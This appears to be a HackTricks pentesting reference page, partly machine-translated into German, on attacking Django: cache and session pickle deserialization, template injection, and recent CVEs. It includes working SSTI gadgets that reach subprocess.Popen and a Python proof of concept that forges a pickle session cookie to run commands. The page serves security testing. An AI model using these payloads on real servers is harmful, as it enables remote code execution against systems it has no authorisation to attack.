Django

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cache-Manipulation zu RCE

Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. Wenn ein Angreifer Schreibzugriff auf den Cache erlangen kann, kann er diese Schwachstelle zu RCE auf dem zugrunde liegenden Server eskalieren.

Django cache is stored in one of four places: Redis, memory, files, or a database. Caches, die in einem Redis-Server oder einer Datenbank gespeichert sind, sind die wahrscheinlichsten Angriffsvektoren (Redis injection und SQL injection), aber ein Angreifer könnte auch file-based cache nutzen, um einen beliebigen Schreibzugriff in RCE zu verwandeln. Die Cache-Dateiordner, der SQL-Tabellenname und die Redis-Server-Details variieren je nach Implementierung.

Dieser HackerOne-Bericht bietet ein gutes, reproduzierbares Beispiel für die Ausnutzung von in einer SQLite-Datenbank gespeichertem Django-Cache: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-vollständig. Wenn vom Benutzer gelieferte Daten als template string gerendert werden (z. B. durch Aufruf von Template(user_input).render() oder wenn |safe/format_html() Auto-Escaping entfernt), kann ein Angreifer vollständiges SSTI → RCE erreichen.

Detection

  1. Suchen Sie nach dynamischen Aufrufen von Template() / Engine.from_string() / render_to_string(), die irgendwelche unsanitisierten Anfragedaten enthalten.
  2. Senden Sie eine zeitbasierte oder arithmetische Nutzlast:
django
{{7*7}}

Wenn die gerenderte Ausgabe 49 enthält, wird die Eingabe von der Template-Engine kompiliert.

Primitive zu RCE

Django blocks direct access to __import__, but the Python object graph is reachable:

django
{{''.__class__.mro()[1].__subclasses__()}}

Finde den Index von subprocess.Popen (≈400–500 je nach Python-Build) und führe beliebige Befehle aus:

django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Ein sichereres universelles Gadget ist, so lange zu iterieren, bis cls.__name__ == 'Popen'.

Dasselbe Gadget funktioniert für Debug Toolbar oder Django-CMS Template-Rendering-Funktionen, die Benutzereingaben falsch behandeln.


Also see: ReportLab/xhtml2pdf PDF export RCE

Auf Django basierende Anwendungen integrieren häufig xhtml2pdf/ReportLab, um Views als PDF zu exportieren. Wenn durch den Benutzer kontrolliertes HTML in die PDF-Erzeugung gelangt, kann rl_safe_eval Ausdrücke innerhalb dreifacher Klammern [[[ ... ]]] auswerten und so Codeausführung ermöglichen (CVE-2023-33733). Details, payloads, und Gegenmaßnahmen:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Wenn die Einstellung SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' aktiviert ist (oder ein custom serializer, der pickle deserialisiert), entschlüsselt und mittels pickle deserialisiert Django das Session-Cookie bevor irgendein View-Code aufgerufen wird. Daher reicht es aus, einen gültigen Signing-Key zu besitzen (standardmäßig der Projekt-SECRET_KEY), um sofortige Remote-Code-Ausführung zu erreichen.

Exploit Requirements

  • Der Server verwendet PickleSerializer.
  • Der Angreifer kennt / kann settings.SECRET_KEY erraten (leaks via GitHub, .env, Fehlerseiten, etc.).

Proof-of-Concept

python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Sende das resultierende Cookie, und die Payload läuft mit den Berechtigungen des WSGI-Workers.

Gegenmaßnahmen: Behalte den Standard-JSONSerializer bei, rotiere den SECRET_KEY und konfiguriere SESSION_COOKIE_HTTPONLY.


Aktuelle (2023-2025) Django-CVEs mit hoher Auswirkung, die Pentester prüfen sollten

  • CVE-2025-48432Log Injection via unescaped request.path (behoben am 4. Juni 2025). Ermöglicht Angreifern, Zeilenumbrüche/ANSI-Codes in Logdateien einzuschleusen und die nachgelagerte Log-Analyse zu vergiften. Patchlevel ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Konstruiere JSON-Schlüssel so, dass sie aus der Quotierung ausbrechen und beliebigen SQL-Code ausführen. Behoben in 4.2.15 / 5.0.8.

Always fingerprint die genaue Framework-Version über die X-Frame-Options-Fehlerseite oder den Hash von /static/admin/css/base.css und teste die oben genannten Punkte, wo anwendbar.


Referenzen

  • Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
  • OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
  • 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks